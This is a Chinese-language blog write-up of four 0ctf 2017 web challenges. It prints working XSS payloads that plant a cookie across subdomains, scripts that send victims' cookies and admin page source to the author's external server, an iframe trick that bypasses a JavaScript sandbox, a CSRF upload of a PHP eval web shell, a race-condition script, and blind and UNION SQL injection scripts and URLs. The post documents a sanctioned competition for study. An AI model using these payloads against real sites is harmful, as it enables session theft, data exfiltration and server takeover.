0ctf2017 web题目总结

前言

周末没来得及好好做做0ctf,现在整理学习一下~~

complicated xss

题目介绍

有两个网站,government.vipadmin.government.vip:8000。 漏洞也有两个:

  • government.vip xss 没防护
  • admin.government.vip:8000网站cookie中的username可以xss。有个sandbox防护~

最终需要有admin权限上传shell~

设置子域cookie

根据上面两个漏洞,可以得到大致思路:通过government.vip网站,设置admin.government.vip:8000中的usernamecookie(里面是我们构造好的Payload)。然后,让管理员转到admin.government.vip:8000触发XSS获取信息。 初步Payload为:

1
2
3
<script>xss = "<script src=//******/xss/test.js><\/script>";</script>
<script>document.cookie="username="+xss+"testxss;domain=.government.vip;path=\/;"</script>
<script>location.href='http://admin.government.vip:8000/';</script>

test.js中尝试获取cookie:

1
location.href='http://121.42.175.111:8080/xss/xss_new.php?cookie='+escape(document.cookie);

成功获取数据,证明思路正确:

1
[Tue Mar 21 20:13:35 2017] 202.120.7.205:47632 [200]: /xss/xss_new.php?cookie=username%3Dadmin%3B%20username%3D%3Cscript%20src%3D//121.42.175.111%3A8080/xss/test.js%3E%3C/script%3Etestxss

由于管理员的sessionid设置为了HttpOnly,因此需要CSRF帮助~

绕过sandbox执行ajax

admin.government.vip:8000使用delete删除了一些函数,其中就有ajax~

1
2
3
4
5
6
7
8
9
10
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>

学习到了新的知识,用如下方式即可绕过:

1
2
<iframe id="sandbox"></iframe>  
window.XMLHttpRequest = document.getElementById('sandbox').contentWindow.XMLHttpRequest;

于是构造ajax,来读读admin的页面源码~ 再次构造payload发送:

1
2
3
<script>xss = "<iframe id=\"sandbox\"></iframe><script src=//121.42.175.111:8080/xss/test.js><\/script>";</script>
<script>document.cookie="username="+xss+"testxss;domain=.government.vip;path=\/;"</script>
<script>location.href='http://admin.government.vip:8000/';</script>

test.js内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
window.XMLHttpRequest = document.getElementById('sandbox').contentWindow.XMLHttpRequest;
var xhr = new XMLHttpRequest();

xhr.onreadystatechange=function(){
if(xhr.readyState==4){
if(xhr.status==200){
data = xhr.responseText;
imgsrc=document.createElement("img");
imgsrc.src = "http://121.42.175.111:8080/xss/xss_new.php?cookie=" + escape(data);
}
}
};
xhr.open("get","/");
xhr.send();

成功获取管理员页面代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!doctype html>
<head>
<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
</head>

<h1>Hello <iframe id="sandbox"></iframe><script src=//121.42.175.111:8080/xss/test.js></script>testxss</h1>


<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></input></p>
<p><input type="submit" value="upload">
</form>

CSRF上传shell

使用FormData配合ajax上传,本地测试好后,得到test.js的Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
window.XMLHttpRequest = document.getElementById('sandbox').contentWindow.XMLHttpRequest;
var xhr = new XMLHttpRequest();

xhr.onreadystatechange=function(){
if(xhr.readyState==4){
//if(xhr.status==200){
res_status = "status: " + xhr.status + "\n";
data = xhr.responseText;
imgsrc=document.createElement("img");
imgsrc.src = "http://121.42.175.111:8080/xss/xss_new.php?cookie=" + escape(res_status) + escape(data);
//}
}
};

var formData = new FormData();
var content = '<?php @eval($_POST[c][/c]);?>';
var blob = new Blob([content], { type: "text/plain"});
formData.append("file", blob,'angelwhutestshell.php');
xhr.open("POST", "/upload");
xhr.send(formData);

配合第一步的Payload:

1
2
3
<script>xss = "<iframe id=\"sandbox\"></iframe><script src=//******/xss/test.js><\/script>";</script>
<script>document.cookie="username="+xss+"testxss;domain=.government.vip;path=\/;"</script>
<script>location.href='http://admin.government.vip:8000/';</script>

成功获取flag:

小结

学习到两个关键点:

  • JavaScript 跨域设置Cookie ~~
  • iframe 绕过 delete 函数 ~~

0x02 Temmo’s Tiny Shop

条件竞争买HINT

用不同的浏览器,用相同账户登录一下,获得几个不同已经登录了的session~ 然后使用一个线程不停买,一个不停卖来赚钱~ 脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
__author__ = 'angelwhu'
# -*- coding:utf-8 -*-

import requests

import threading
from random import Random
import string

url = "http://202.120.7.197/app.php?action=login"

def buy(cookies):
headers = {"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.5",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Cookie": "PHPSESSID="+cookies,
"Connection": "keep-alive"}
r = requests.post("http://202.120.7.197/app.php?action=buy&id=2", headers=headers)
print r.content

def sale(cookies):
headers = {"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.5",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Cookie": "PHPSESSID="+cookies,
"Connection": "keep-alive"}
r = requests.get("http://202.120.7.197/app.php?action=sale&id=2", headers=headers)
print r.content

cookies_1 = "8o3lto4qdn4e0aasa2aog7gbg3"
cookies_2 = "le5af9o1qspgop8bp49v80sqs5"
cookies_3 = "vq828j22a80ahnclbfg33duuc2"
for i in range(0,300):
threading.Thread(target=buy,args = (cookies_1,)).start()
threading.Thread(target=sale,args = (cookies_2,)).start()
threading.Thread(target=buy,args = (cookies_1,)).start()
threading.Thread(target=sale,args = (cookies_3,)).start()
threading.Thread(target=buy,args = (cookies_2,)).start()
threading.Thread(target=sale,args = (cookies_1,)).start()

Order by 盲注

使用like匹配:

1
2
% 代表任意多个字符  
_ 匹配单个字符

还可以regexp正则匹配~ 找到个好说明:http://blog.csdn.net/my2010sam/article/details/19109235 最后,Payload还有长度限制~ 而且字符中还有下划线_这个通配符 还是使用ascii的整数值来匹配~ 看着思路,都调了半天:

1
if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))like(69),name,price)

脚本为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding:utf-8 -*-
__author__ = 'angelwhu'

import binascii
import requests
import sys

session = requests.Session()

def test(input):
url = "http://202.120.7.197/app.php?action=search&keyword=&order=if(" + input + ",name,price)"
print url
headers = {"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.5",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0",
"cookie":"PHPSESSID=0k3dt4k70kkabuha8s50hsnb83",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive"}
response = session.get(url, headers=headers)
#print response.text
return ("\"id\":\"3\"" in response.text[:35])

def brute_force_expr(expr):
ch_i=1
ascii_i=40 #(
word = ""
while True:
found_char=False
while(ascii_i<=126): #~
#res = test("ascii(substring(("+expr+"),"+str(ch_i)+",1))="+str(ascii_i))
#test_char = "0x"+binascii.hexlify(chr(ascii_i))
#ascii(substring((select(select(flag)from(ce63e444b0d049e9c899c9a0336b3c59))),str(ch_i),1))like(test_char)
payload = "ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),"+str(ch_i)+",1))like("+str(ascii_i)+")"
#print payload
res = test(payload)
if(res):
word += chr(ascii_i)
print "Found (",ch_i,") ",chr(ascii_i)," - ",word
found_char = True
break
ascii_i+=1

if(not found_char):
print "No char at index ",ch_i," .. ending string construction.."
break

ascii_i = 40
ch_i+=1
return word

print brute_force_expr(sys.argv[1]) #Replacement fix the spaces problem!

KoG

这个题目的js文件太长了~ 搜索下注释,得到一个emscripten的工具。
它能够把C/C++编译生成的llvm二进制代码,转化为javascript执行~
所以js代码中有很多mallocstrlen这些C语言相似的函数名~ 只能慢慢调试了,发现HEAPU8里面存储着我们的输入数据和程序输出数据。 观察HEAPU8[5251100]变化,定位到functionn.js8073行和8075行,两个函数:

1
2
   __ZN10emscripten8internal11BindingTypeINSt3__112basic_stringIcNS2_11char_traitsIcEENS2_9allocatorIcEEEEE12fromWireTypeEPNS9_Ut_E
$2 = (__ZN10emscripten8internal11BindingTypeINSt3__112basic_stringIcNS2_11char_traitsIcEENS2_9allocatorIcEEEEE10toWireTypeERKS8_($0)|0);

找到一个判断函数,定位到functionn.js16758行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if ($1) {
$2 = $__sz << 1;
$3 = $2&255;
HEAP8[$this>>0] = $3;
$4 = ((($this)) + 1|0);
$__p$0 = $4;
} else {
$5 = (($__sz) + 16)|0;
$6 = $5 & -16;
$7 = (__Znwj($6)|0);
$8 = ((($this)) + 8|0);
HEAP32[$8>>2] = $7;
$9 = $6 | 1;
HEAP32[$this>>2] = $9;
$10 = ((($this)) + 4|0);
HEAP32[$10>>2] = $__sz;
$__p$0 = $7;
}

输入Payload后,强行把$1改为false~ 调试发现没有用~~ 于是又找到个if判断,在7634行:

1
2
3
4
5
6
7
if (!($13)) {
;HEAP32[$agg$result>>2]=HEAP32[$s>>2]|0;HEAP32[$agg$result+4>>2]=HEAP32[$s+4>>2]|0;HEAP32[$agg$result+8>>2]=HEAP32[$s+8>>2]|0;
;HEAP32[$s>>2]=0|0;HEAP32[$s+4>>2]=0|0;HEAP32[$s+8>>2]=0|0;
__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($te);
__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($s);
STACKTOP = sp;return;
}

$13强行改为true,也不行,还要找~~ 在7699行,还有个:

1
2
3
4
5
6
7
if ((label|0) == 12) {
;HEAP32[$agg$result>>2]=HEAP32[$s>>2]|0;HEAP32[$agg$result+4>>2]=HEAP32[$s+4>>2]|0;HEAP32[$agg$result+8>>2]=HEAP32[$s+8>>2]|0;
;HEAP32[$s>>2]=0|0;HEAP32[$s+4>>2]=0|0;HEAP32[$s+8>>2]=0|0;
__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($te);
__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($s);
STACKTOP = sp;return;
}

强行把lable改为0,接着跑下去,成功了~ 于是乎,注释掉最后两个判读语句的代码(7634行和7699行)~下载到本地跑一跑,输出hash和time,进行注入攻击。

1
2
3
api.php?id=-1%20union%20all%20select%201,database()&hash=4b171a4ea10db2f48b05e6563e9f8dd5&time=1490253180
api.php?id=-1%20union%20all%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=%270ctf%27%20limit%201&hash=afbd29aa8799f11e26eeeb81ae21da2f&time=1490254242
api.php?id=-1%20union%20all%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=%270ctf%27%20and%20table_name=%27fl4g%27%20limit%201&hash=5a931ce83b3d7b13b6f5a9cec4a71365&time=1490254364


总结

学到了很多关于前端的知识,JavaScript和XSS相关的知识确实很有意思。

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2017/03/23/0ctf2017-web-topic-summary/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog